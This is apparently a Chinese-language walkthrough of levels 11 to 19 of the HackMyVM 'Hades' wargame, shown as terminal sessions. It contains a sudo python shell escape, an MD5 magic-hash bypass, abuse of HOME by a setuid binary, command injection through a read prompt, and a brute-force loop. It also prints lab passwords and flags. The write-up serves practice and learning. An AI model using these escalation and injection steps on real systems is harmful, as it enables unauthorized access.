11 asia
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
| asia@hades:~$ ls -la
total 32
drwxr-x--- 2 root asia 4096 Apr 5 06:36 .
drwxr-xr-x 1 root root 4096 Apr 5 06:36 ..
-rw-r--r-- 1 asia asia 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 asia asia 3526 Apr 23 2023 .bashrc
-rw-r--r-- 1 asia asia 807 Apr 23 2023 .profile
-rw-r----- 1 root asia 22 Apr 5 06:36 flagz.txt
-rw-r----- 1 root asia 188 Apr 5 06:36 mission.txt
asia@hades:~$ grep -ra '\^*\^' .
./flagz.txt:^ngXdULWFWKCGtgxAQNv^
asia@hades:~$ cat mission.txt
################
# MISSION 0x11 #
################
## EN ##
The user asteria is teaching us to program in python.
## ES ##
La usuaria asteria nos esta enseñando a programar en python.
asia@hades:~$ sudo -l
Matching Defaults entries for asia on hades:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User asia may run the following commands on hades:
(asteria) NOPASSWD: /usr/bin/python3
|
参考 https://gtfobins.github.io/gtfobins/python/#sudo If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.
1
| sudo python -c 'import os; os.system("/bin/sh")'
|
进行提权:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
| asia@hades:~$ ls -la
total 32
drwxr-x--- 2 root asia 4096 Apr 5 06:36 .
drwxr-xr-x 1 root root 4096 Apr 5 06:36 ..
-rw-r--r-- 1 asia asia 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 asia asia 3526 Apr 23 2023 .bashrc
-rw-r--r-- 1 asia asia 807 Apr 23 2023 .profile
-rw-r----- 1 root asia 22 Apr 5 06:36 flagz.txt
-rw-r----- 1 root asia 188 Apr 5 06:36 mission.txt
asia@hades:~$ grep -ra '\^*\^' .
./flagz.txt:^ngXdULWFWKCGtgxAQNv^
asia@hades:~$ cat mission.txt
################
# MISSION 0x11 #
################
## EN ##
The user asteria is teaching us to program in python.
## ES ##
La usuaria asteria nos esta enseñando a programar en python.
asia@hades:~$ sudo -l
Matching Defaults entries for asia on hades:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User asia may run the following commands on hades:
(asteria) NOPASSWD: /usr/bin/python3
asia@hades:~$ sudo -u asteria /usr/bin/python3 -c 'import os; os.system("/bin/bash")'
asteria@hades:/pwned/asia$ cd ~;whoami;id;ls -la
asteria
uid=2003(asteria) gid=2003(asteria) groups=2003(asteria)
total 36
drwxr-x--- 2 root asteria 4096 Apr 5 06:36 .
drwxr-xr-x 1 root root 4096 Apr 5 06:36 ..
-rw-r--r-- 1 asteria asteria 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 asteria asteria 3526 Apr 23 2023 .bashrc
-rw-r--r-- 1 asteria asteria 807 Apr 23 2023 .profile
-rw-r----- 1 root asteria 22 Apr 5 06:36 flagz.txt
-rw-r----- 1 root asteria 145 Apr 5 06:36 mission.txt
-rw-r----- 1 root asteria 161 Apr 5 06:36 sihiri_old.php
|
12 asteria
11: asteria/hawMVJCYrBgoDAMVhuwT
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
| asteria@hades:~$ grep -ra '\^*\^' .
./sihiri_old.php:print("Incorrect ^^");
./flagz.txt:^xSRhIftMsAwWvBAnqNZ^
asteria@hades:~$ cat mission.txt
################
# MISSION 0x12 #
################
## EN ##
The user astraea believes in magic.
## ES ##
La usuaria astraea cree en la magia.
asteria@hades:~$ cat sihiri_old.php
<?php
$pass = hash('md5', $_GET['pass']);
$pass2 = hash('md5',"ASTRAEA_PASS");
if($pass == $pass2){
print("ASTRAEA_PASS");
}
else{
print("Incorrect ^^");
}
?>
|
如果两个字符经MD5加密后的值为 0exxxxx形式,就会被认为是科学计数法,且表示的是0*10的xxxx次方,还是零,都是相等的。 随便找几个试一下 https://github.com/spaze/hashes/blob/master/md5.md
1
2
3
4
5
6
7
| asteria@hades:~$ curl http://0.0.0.0/sihiri.php
Incorrect ^^
asteria@hades:~$ curl http://0.0.0.0/sihiri.php?pass=240610708&pass2=QLTHNDT
[1] 3820936
asteria@hades:~$
nZkEYtjvHElOtupXKzTE
|
13 astraea
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
| asteria@hades:~$ ssh astraea@0.0.0
The authenticity of host '0.0.0.0 (0.0.0.0)' can't be established.
ED25519 key fingerprint is SHA256:5QshhvvnibVTWOxgK9XbUejVSLahU6clfnK1Iku0wsg.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Could not create directory '/pwned/asteria/.ssh' (Permission denied).
Failed to add the host to the list of known hosts (/pwned/asteria/.ssh/known_hosts).
. **
* *.
,*
*,
, ,*
., *,
/ *
,* *,
/. .*.
_____
__ __ _____ ____________ _____\ \ _____
/ \ / \ / |_ \ \ / / | | _____\ \
/ /| |\ \ / \ \ \ / / /___/| / / \ |
/ // \ \ | /\ \ | /\ || |__ |___|/ | | /___/|
/ \_____/ \ | | | \ | | | || \ ____\ \ | ||
/ /\_____/\ \ | \/ \ | \/ || __/ __ / /\ \|___|/
/ //\_____/\ \ |\ /\ \ / /||\ \ / \ | |/ \ \
/____/ | | \____\| \_____\ \_____\ /___________/ || \____\/ ||\____\ /____/|
| | | | | || | | | || | / | | |____/|| | || | |
|____|/ \|____| \|_____|\|_____||___________|/ \|____| | | \|___||____|/
|___|/
** **.
,* **
*, ,*
* **
*, .*
*. **
** ,*,
** *,
[== HMVLabs Chapter 2: Hades ==]
+===========================+
| Respect & |
| Have fun! |
| |
| https://hackmyvm.eu/hades |
+===========================+
astraea@0.0.0.0's password:
^KssHQIAFsxUamecyXIUk^
Connection to 0.0.0.0 closed.
asteria@hades:~$ ^C
asteria@hades:~$ ssh astraea@0.0.0.0
The authenticity of host '0.0.0.0 (0.0.0.0)' can't be established.
ED25519 key fingerprint is SHA256:5QshhvvnibVTWOxgK9XbUejVSLahU6clfnK1Iku0wsg.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Could not create directory '/pwned/asteria/.ssh' (Permission denied).
Failed to add the host to the list of known hosts (/pwned/asteria/.ssh/known_hosts).
. **
* *.
,*
*,
, ,*
., *,
/ *
,* *,
/. .*.
_____
__ __ _____ ____________ _____\ \ _____
/ \ / \ / |_ \ \ / / | | _____\ \
/ /| |\ \ / \ \ \ / / /___/| / / \ |
/ // \ \ | /\ \ | /\ || |__ |___|/ | | /___/|
/ \_____/ \ | | | \ | | | || \ ____\ \ | ||
/ /\_____/\ \ | \/ \ | \/ || __/ __ / /\ \|___|/
/ //\_____/\ \ |\ /\ \ / /||\ \ / \ | |/ \ \
/____/ | | \____\| \_____\ \_____\ /___________/ || \____\/ ||\____\ /____/|
| | | | | || | | | || | / | | |____/|| | || | |
|____|/ \|____| \|_____|\|_____||___________|/ \|____| | | \|___||____|/
|___|/
** **.
,* **
*, ,*
* **
*, .*
*. **
** ,*,
** *,
[== HMVLabs Chapter 2: Hades ==]
+===========================+
| Respect & |
| Have fun! |
| |
| https://hackmyvm.eu/hades |
+===========================+
astraea@0.0.0.0's password:
^KssHQIAFsxUamecyXIUk^
Connection to 0.0.0.0 closed.
asteria@hades:~$
|
啥情况,提交flag,发现是隐藏的。。。。。这个意思就是登上去了,但是被秒踢掉了,尝试维持一下:
1
| asteria@hades:~$ ssh astraea@0.0.0.0 -t 'whoami;id'
|
但是执行不了,尝试其他路子,看群主视频说传了busybox在/var/tmp
,这是所有用户都可以编辑临时文件的地方:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
| asteria@hades:~$ ss -h
bash: /usr/bin/ss: Permission denied
asteria@hades:~$ nc -h
bash: nc: command not found
asteria@hades:~$ ls /var/tmp
07 31 a.txt atalanta.txt brute_31.sh cve-2024-1086 flagz.txt idd mission.txt.1 numbers.save some2 xx
1.gif 32 aaa.txt aura.py busybox d fscan level16.py name.txt penelope ss zzz
1.txt 333 ab.txt av-98 c dummy.png fun.png libexpect.so.5.45.4 names.txt proc taotao
100.txt 999 anames.txt av98.py cat expect get-pip.py linpeas.sh new.py pwned taotaotao
123 AV-98-master.zip ar.sh bNU comb.txt fi.sh hatechars mang new.sh r.sh test.py
12345 AV98 arete bbb conky.conf fibi id mission.ttx new.txt result.txt three_char_conbinations.txt
12345.txt a arete_pass.txt bbb.txt core flag.txt.1 id.zip mission.txt nmap s weird
asteria@hades:/var/tmp$ ./busybox netstat -alutp
netstat: can't scan /proc - are you root?
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 localhost:38595 0.0.0.0:* LISTEN -
tcp 0 0 localhost:ircd 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:http 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:ssh 0.0.0.0:* LISTEN -
tcp 0 0 localhost:ssh localhost:45418 ESTABLISHED -
tcp 0 0 localhost:ssh localhost:45420 ESTABLISHED -
tcp 0 0 localhost:ssh localhost:45424 ESTABLISHED -
tcp 0 0 localhost:45420 localhost:ssh ESTABLISHED -
tcp 0 0 localhost:45428 localhost:ssh ESTABLISHED -
tcp 0 0 localhost:ssh localhost:45414 ESTABLISHED -
tcp 0 0 localhost:45414 localhost:ssh ESTABLISHED -
tcp 0 0 localhost:ssh localhost:45416 ESTABLISHED -
tcp 0 0 localhost:45418 localhost:ssh ESTABLISHED -
tcp 0 0 localhost:ssh localhost:45428 ESTABLISHED -
tcp 0 0 localhost:45422 localhost:ssh ESTABLISHED -
tcp 0 0 localhost:45416 localhost:ssh ESTABLISHED -
tcp 0 0 localhost:45426 localhost:ssh ESTABLISHED -
tcp 0 0 localhost:ssh localhost:45426 ESTABLISHED -
tcp 0 0 localhost:ssh localhost:45422 ESTABLISHED -
tcp 0 1368 hades:ssh 218.201.30.54:3343 ESTABLISHED -
tcp 0 0 localhost:45424 localhost:ssh ESTABLISHED -
tcp 0 0 :::1965 :::* LISTEN -
tcp 0 0 :::http :::* LISTEN -
tcp 0 0 :::ftp :::* LISTEN -
tcp 0 0 :::ssh :::* LISTEN -
udp 0 0 localhost:56483 0.0.0.0:* -
udp 0 0 0.0.0.0:44595 0.0.0.0:* -
udp 0 0 0.0.0.0:55168 0.0.0.0:* -
|
发现开启了ftp服务,尝试进行连接获取flag,再在平台提交获取密码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
| ria@hades:/var/tmp$ ftp astraea@0.0.0.0
Connected to 0.0.0.0.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||53537|)
150 Here comes the directory listing.
-rw-r----- 1 0 2004 21 Apr 05 06:36 atalanta.txt
-rw-r----- 1 0 2004 22 Apr 05 06:36 flagz.txt
-rw-r----- 1 0 2004 181 Apr 05 06:36 mission.txt
226 Directory send OK.
ftp> get flagz.txt
local: flagz.txt remote: flagz.txt
229 Entering Extended Passive Mode (|||47975|)
150 Opening BINARY mode data connection for flagz.txt (22 bytes).
100% |*****************************************************************************************************************************************| 22 15.98 KiB/s 00:00 ETA
226 Transfer complete.
22 bytes received in 00:00 (3.49 KiB/s)
ftp> exit
221 Goodbye.
asteria@hades:/var/tmp$ cat flagz.txt
^nqTHTzMzDPDJrKPCfVR^
|
12: astraea/nZkEYtjvHElOtupXKzTE 忘了连不上了。。。。 下载 mission接着做吧:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
| asteria@hades:/var/tmp$ ftp astraea@0.0.0.0
Connected to 0.0.0.0.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||10777|)
150 Here comes the directory listing.
-rw-r----- 1 0 2004 21 Apr 05 06:36 atalanta.txt
-rw-r----- 1 0 2004 22 Apr 05 06:36 flagz.txt
-rw-r----- 1 0 2004 181 Apr 05 06:36 mission.txt
226 Directory send OK.
ftp> get mission.txt
local: mission.txt remote: mission.txt
229 Entering Extended Passive Mode (|||31679|)
150 Opening BINARY mode data connection for mission.txt (181 bytes).
100% |*****************************************************************************************************************************************| 181 145.24 KiB/s 00:00 ETA
226 Transfer complete.
181 bytes received in 00:00 (29.82 KiB/s)
ftp> get atalanta.txt
local: atalanta.txt remote: atalanta.txt
229 Entering Extended Passive Mode (|||61686|)
150 Opening BINARY mode data connection for atalanta.txt (21 bytes).
100% |*****************************************************************************************************************************************| 21 16.53 KiB/s 00:00 ETA
226 Transfer complete.
21 bytes received in 00:00 (3.43 KiB/s)
ftp> exit
221 Goodbye.
asteria@hades:/var/tmp$ cat mission.txt
################
# MISSION 0x13 #
################
## EN ##
The user atalanta has done something with our account.
## ES ##
La usuaria atalanta ha hecho algo con nuestra cuenta.
asteria@hades:/var/tmp$ cat atalanta.txt
mUcSNQlaXtwSvGcgeTYZ
|
14 atalanta
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
| atalanta@hades:~$ ls -la
total 60
drwxr-x--- 1 root atalanta 4096 Apr 5 06:36 .
drwxr-xr-x 1 root root 4096 Apr 5 06:36 ..
-rw-r--r-- 1 atalanta atalanta 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 atalanta atalanta 3526 Apr 23 2023 .bashrc
-rw-r--r-- 1 atalanta atalanta 807 Apr 23 2023 .profile
-rw-r----- 1 root atalanta 22 Apr 5 06:36 flagz.txt
-rw-r----- 1 root atalanta 237 Apr 5 06:36 mission.txt
-r-sr-s--- 1 root atalanta 16608 Apr 5 06:36 weird
-rwxrwxrwx 1 atalanta atalanta 21 Jun 12 09:05 weird.c
atalanta@hades:~$ grep -ra '\^*\^' .
./flagz.txt:^XXZbDJTQQWCHJWTGeOw^
./weird:�@����%r/h
�0����%j/h
�����%�.f�1�I��^H��H���PTE1�1�H�=��.�f.�@H�=)/H�"/H9�tH�^.H��t �����H�=�.H�5�.H)�H��H��?H��H�H��tH�-.H����fD�����=�.u+UH�=
atalanta@hades:~$ cat mission.txt
################
# MISSION 0x14 #
################
## EN ##
User athena lets us run her program, but she hasn't left us her source code.
## ES ##
La usuaria athena nos deja ejecutar su programa, pero no nos ha dejado su codigo fuente.
atalanta@hades:~$ ./weird
HOME detected: /pwned/atalanta
Segmentation fault
atalanta@hades:~$ cat weird.c
kmQMpZsXgOsnzGReRcoV
|
啥情况?先把文件传到/var/tmp
,再传到本机进行逆向分析一下:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *v3; // rax
char ptr; // [rsp+Fh] [rbp-4B1h]
char v6; // [rsp+400h] [rbp-C0h]
int v7; // [rsp+418h] [rbp-A8h]
__uid_t uid; // [rsp+41Ch] [rbp-A4h]
struct passwd *v9; // [rsp+490h] [rbp-30h]
int v10; // [rsp+49Ch] [rbp-24h]
FILE *v11; // [rsp+4A0h] [rbp-20h]
char *command; // [rsp+4A8h] [rbp-18h]
FILE *stream; // [rsp+4B0h] [rbp-10h]
char *file; // [rsp+4B8h] [rbp-8h]
setuid(0x7D6u);
setgid(0x7D6u);
file = getenv("HOME");
printf("HOME detected: %s\n", file);
v3 = getenv("HOME");
stream = fopen(v3, "w");
command = "/bin/cat /var/lib/me";
ptr = 0;
v11 = popen("/bin/cat /var/lib/me", "r");
if ( !v11 )
{
perror("popen() failed.");
exit(1);
}
while ( fread(&ptr, 1uLL, 1uLL, v11) )
fputc(ptr, stream);
pclose(v11);
pclose(stream);
v10 = stat(file, (struct stat *)&v6);
v9 = getpwuid(uid);
if ( v9->pw_name != "atalanta" )
v10 = chmod(file, v7 & 0xFFFFFFCA | 0x10);
stat(file, (struct stat *)&v6);
return 0;
墨师傅blog有源码:
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <pwd.h>
int main()
{
setuid(2006);
setgid(2006);
const char *filename;
struct stat fs;
int r;
filename = getenv("HOME");
printf ("HOME detected: %s\n",filename);
char cmd[1000];
FILE *out_file = fopen(getenv("HOME"), "w");
FILE *fpipe;
char *command = "/bin/cat /var/lib/me";
char c = 0;
if (0 == (fpipe = (FILE*)popen(command, "r")))
{
perror("popen() failed.");
exit(EXIT_FAILURE);
}
while (fread(&c, sizeof c, 1, fpipe))
{
fprintf(out_file, "%c",c);
}
pclose(fpipe);
pclose(out_file);
r = stat(filename,&fs);
struct passwd *pw = getpwuid(fs.st_uid);
if (pw->pw_name != "atalanta"){
r = chmod(filename, fs.st_mode & ~(S_IROTH)+~(S_IRGRP) | S_IWGRP );
}
stat(filename,&fs);
return EXIT_SUCCESS;
}
脚本做了如下几件事情:
- 赋权 2006
- ```bash
- atalanta@hades:/var/tmp$ id athena uid=2006(athena) gid=2006(athena) groups=2006(athena)
- ```
- 获取并打印HOME环境变量
- 尝试打开HOME目录为文件
- 执行外部命令并捕获输出
- 将捕获的内容写入到HOME环境变量指定的位置
- 关闭文件指针和管道
- 检查文件的所有者并尝试更改权限
- 再次获取文件状态 故利用方法为先将HOME设置为一个文件,再运行程序,最后进行读取:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| atalanta@hades:/var/tmp$ touch /tmp/flaggggggg
atalanta@hades:/var/tmp$ echo $HOME
/pwned/atalanta
atalanta@hades:/var/tmp$ HOME=/tmp/flaggggggg
atalanta@hades:/var/tmp$ echo $HOME
/tmp/flaggggggg
atalanta@hades:/var/tmp$ cd /pwned/atalanta
atalanta@hades:/pwned/atalanta$ ls
flagz.txt mission.txt weird weird.c
atalanta@hades:/pwned/atalanta$ chmod 777 HOME
chmod: cannot access 'HOME': No such file or directory
atalanta@hades:/pwned/atalanta$ chmod 777 /tmp/flaggggggg
atalanta@hades:/pwned/atalanta$ ./weird
HOME detected: /tmp/flaggggggg
atalanta@hades:/pwned/atalanta$ cat /tmp/flaggggggg
kmQMpZsXgOsnzGReRcoV
|
15 athena
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
| athena@hades:~$ ls -la
total 36
drwxr-x--- 2 root athena 4096 Apr 5 06:36 .
drwxr-xr-x 1 root root 4096 Apr 5 06:36 ..
-rw-r--r-- 1 athena athena 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 athena athena 3526 Apr 23 2023 .bashrc
-rw-r--r-- 1 athena athena 807 Apr 23 2023 .profile
-rw-r----- 1 root athena 166 Apr 5 06:36 auri_old.sh
-rw-r----- 1 root athena 22 Apr 5 06:36 flagz.txt
-rw-r----- 1 root athena 160 Apr 5 06:36 mission.txt
athena@hades:~$ grep -ra '\^*\^' .
./flagz.txt:^oGwmbNYdtHwJgznZdur^
athena@hades:~$ cat mission.txt
################
# MISSION 0x15 #
################
## EN ##
User aura lets us use her new script.
## ES ##
La usuaria aura nos deja utilizar su nuevo script.
athena@hades:~$ cat auri_old.sh
#!/bin/bash
echo "What?"
read hackme
#Secure the condition!
#if [[ $hackme =~ "????????" ]]; then
#exit
#fi
#Add newest Aura pass!
#$hackme AURANEWPASS 2>/dev/null
athena@hades:~$ sudo -l
Matching Defaults entries for athena on hades:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User athena may run the following commands on hades:
(aura) NOPASSWD: /bin/bash -c /pwned/aura/auri.sh
athena@hades:~$ sudo -u aura /bin/bash -c /pwned/aura/auri.sh
What?
whoami
|
这段代码的逻辑如下:
- 输出,提示用户进行输入
- 读取用户输入
- 正则匹配不允许的字符(????????只是用来占位子的)
- 执行命令 所以尝试让他进行输出即可
1
2
3
4
5
6
7
8
9
10
11
12
13
| athena@hades:~$ sudo -u aura /bin/bash -c /pwned/aura/auri.sh
What?
cat
athena@hades:~$ sudo -u aura /bin/bash -c /pwned/aura/auri.sh
What?
more
athena@hades:~$ sudo -u aura /bin/bash -c /pwned/aura/auri.sh
What?
less
athena@hades:~$ sudo -u aura /bin/bash -c /pwned/aura/auri.sh
What?
printf
TiqpedAFjwmVyBlYpzRh
|
16 aura
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
| aura@hades:~$ ls -la
total 52
drwxr-x--- 2 root aura 4096 Apr 5 06:36 .
drwxr-xr-x 1 root root 4096 Apr 5 06:36 ..
-rw-r--r-- 1 aura aura 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 aura aura 3526 Apr 23 2023 .bashrc
-rw-r--r-- 1 aura aura 807 Apr 23 2023 .profile
-rw-r-x--- 1 root aura 160 Apr 5 06:36 auri.sh
-rw-r----- 1 root aura 22 Apr 5 06:36 flagz.txt
-rw-r----- 1 root aura 168 Apr 5 06:36 mission.txt
-rw---x--- 1 root aura 16064 Apr 5 06:36 numbers
aura@hades:~$ grep -ra '\^*\^' .
grep: ./numbers: Permission denied
./flagz.txt:^YFMNmPnlKNpnWiYOhYy^
aura@hades:~$ cat mission.txt
################
# MISSION 0x16 #
################
## EN ##
User aegle has a good memory for numbers.
## ES ##
La usuaria aegle tiene buena memoria para los numeros.
aura@hades:~$ cat auri.sh
#!/bin/bash
echo "What?"
read hackme
if [[ $hackme == *"e"* || $hackme == *"o"* || $hackme == *"?"* ]]; then
exit
fi
$hackme TiqpedAFjwmVyBlYpzRh 2>/dev/null
aura@hades:~$ ./numbers
Enter one number:
1
Number OK
Enter next number:
2
Number OK
Enter next number:
3
Number OK
Enter next number:
4
NO :_(
|
运气不错第一次就找到三个,尝试继续进行探测,阔以尝试群主的方案: for i in $(seq 9); do echo -e “1\n2\n3\n$i” | ./numbers;sleep 0.2; done
1
2
3
4
5
6
7
8
9
10
| aura@hades:~$ for i in $(seq 9); do echo -e "1\n2\n3\n$i" | ./numbers | grep -c 'OK'; sleep 0.2; done | nl
1 4
2 3
3 3
4 3
5 3
6 3
7 3
8 3
9 3
|
一个一个尝试即可得到密码:1231239111126
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
| aura@hades:~$ ./numbers
Enter one number:
1
Number OK
Enter next number:
2
Number OK
Enter next number:
3
Number OK
Enter next number:
1
Number OK
Enter next number:
2
Number OK
Enter next number:
3
Number OK
Enter next number:
9
Number OK
Enter next number:
1
Number OK
Enter next number:
1
Number OK
Enter next number:
1
Number OK
Enter next number:
1
Number OK
Enter next number:
2
Number OK
Enter next number:
6
YRturIymmHSdBmEClEGe
|
17 aegle
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
| aegle@hades:~$ ls -la
total 36
drwxr-x--- 2 root aegle 4096 Apr 5 06:36 .
drwxr-xr-x 1 root root 4096 Apr 5 06:36 ..
-rw-r--r-- 1 aegle aegle 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 aegle aegle 3526 Apr 23 2023 .bashrc
-rw-r--r-- 1 aegle aegle 807 Apr 23 2023 .profile
-rw-r----- 1 root calliope 21 Apr 5 06:36 calliope_pass.txt
-rw-r----- 1 root aegle 22 Apr 5 06:36 flagz.txt
-rw-r----- 1 root aegle 176 Apr 5 06:36 mission.txt
aegle@hades:~$ grep -ra '\^*\^' .
./flagz.txt:^XCwOqgVvWpDVwPVVUJa^
grep: ./calliope_pass.txt: Permission denied
aegle@hades:~$ cat mission.txt
################
# MISSION 0x17 #
################
## EN ##
User calliope likes to have her things looked at.
## ES ##
A la usuaria calliope le gusta que le miren sus cosas.
aegle@hades:~$ sudo -l
Matching Defaults entries for aegle on hades:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User aegle may run the following commands on hades:
(calliope) NOPASSWD: /bin/cat
aegle@hades:~$ sudo -u calliope /bin/cat calliope_pass.txt
/bin/cat: calliope_pass.txt: Permission denied
aegle@hades:~$ sudo -u calliope /bin/cat /pwned/calliope/flagz.txt
^rFWOMwBJDidqSNtEJGJ^
|
18 calliope
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
| calliope@hades:~$ ls -la
total 52
drwxr-x--- 3 root calliope 4096 Apr 5 06:36 .
drwxr-xr-x 1 root root 4096 Apr 5 06:36 ..
-rw-r--r-- 1 calliope calliope 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 calliope calliope 3533 Apr 5 06:36 .bashrc
-rw-r--r-- 1 calliope calliope 807 Apr 23 2023 .profile
drwxr-xr-x 2 root root 4096 Apr 5 06:36 .ssh
-rw-r----- 1 root calliope 22 Apr 5 06:36 flagz.txt
-rw-r----- 1 root calliope 175 Apr 5 06:36 mission.txt
-r-s--s--- 1 root calliope 16360 Apr 5 06:36 writeme
calliope@hades:~$ cat flagz.txt
^rFWOMwBJDidqSNtEJGJ^
calliope@hades:~$ cat mission.txt
################
# MISSION 0x18 #
################
## EN ##
The user calypso often uses write to communicate.
## ES ##
La usuaria calypso suele usar write para comunicarse.
calliope@hades:~$ grep -ra '\^*\^' .
./flagz.txt:^rFWOMwBJDidqSNtEJGJ^
grep: ./writeme: Permission denied
calliope@hades:~$ ./writeme
Cannot send you my pass!Cannot send you my pass!Cannot send you my pass!Cannot send you my pass!Cannot send you my pass!
hgbe02@pwn:~/temp$ tldr mesg
mesg
Check or set a terminal's ability to receive messages from other users, usually from the write command.See also write, talk.More information: https://manned.org/mesg.1p.
- Check terminal's openness to write messages:
mesg
- Disallow receiving messages from the write command:
mesg n
- Allow receiving messages from the write command:
mesg y
calliope@hades:~$ mesg
is n
calliope@hades:~$ mesg y
Cannot send you my pass!Cannot send you my pass!Cannot send you my pass!TAMYefoHcCPmexwImodo^OCbFzMIKPQOZQMEUKwEi^Cannot send you my pass!
|
19 calypso
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| pso@hades:~$ ls -la
total 8556
drwxr-x--- 2 root calypso 4096 Apr 5 06:36 .
drwxr-xr-x 1 root root 4096 Apr 5 06:36 ..
-rw-r--r-- 1 calypso calypso 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 calypso calypso 3526 Apr 23 2023 .bashrc
-rw-r--r-- 1 calypso calypso 807 Apr 23 2023 .profile
-rw-r----- 1 root calypso 8726358 Dec 20 2021 cassy.wav
-rw-r----- 1 root calypso 22 Apr 5 06:36 flagz.txt
-rw-r----- 1 root calypso 164 Apr 5 06:36 mission.txt
calypso@hades:~$ cat cat flagz.txt
cat: cat: No such file or directory
^pssqdorRTYuTKuQBOYd^
calypso@hades:~$ cat mission.txt
################
# MISSION 0x19 #
################
## EN ##
User cassandra always wanted to be on TV.
## ES ##
La usuaria cassandra siempre quiso salir en la TV.
|
这是sstv的解码,尝试使用工具进行解码,我使用的是 https://github.com/colaclanth/sstv 先传到kali:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
| ┌──(kali㉿kali)-[~/temp]
└─$ scp -P 6666 calypso@hades.hackmyvm.eu:/pwned/calypso/cassy.wav .
The authenticity of host '[hades.hackmyvm.eu]:6666 ([185.233.104.77]:6666)' can't be established.
ED25519 key fingerprint is SHA256:5QshhvvnibVTWOxgK9XbUejVSLahU6clfnK1Iku0wsg.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[hades.hackmyvm.eu]:6666' (ED25519) to the list of known hosts.
. **
* *.
,*
*,
, ,*
., *,
/ *
,* *,
/. .*.
_____
__ __ _____ ____________ _____\ \ _____
/ \ / \ / |_ \ \ / / | | _____\ \
/ /| |\ \ / \ \ \ / / /___/| / / \ |
/ // \ \ | /\ \ | /\ || |__ |___|/ | | /___/|
/ \_____/ \ | | | \ | | | || \ ____\ \ | ||
/ /\_____/\ \ | \/ \ | \/ || __/ __ / /\ \|___|/
/ //\_____/\ \ |\ /\ \ / /||\ \ / \ | |/ \ \
/____/ | | \____\| \_____\ \_____\ /___________/ || \____\/ ||\____\ /____/|
| | | | | || | | | || | / | | |____/|| | || | |
|____|/ \|____| \|_____|\|_____||___________|/ \|____| | | \|___||____|/
|___|/
** **.
,* **
*, ,*
* **
*, .*
*. **
** ,*,
** *,
[== HMVLabs Chapter 2: Hades ==]
+===========================+
| Respect & |
| Have fun! |
| |
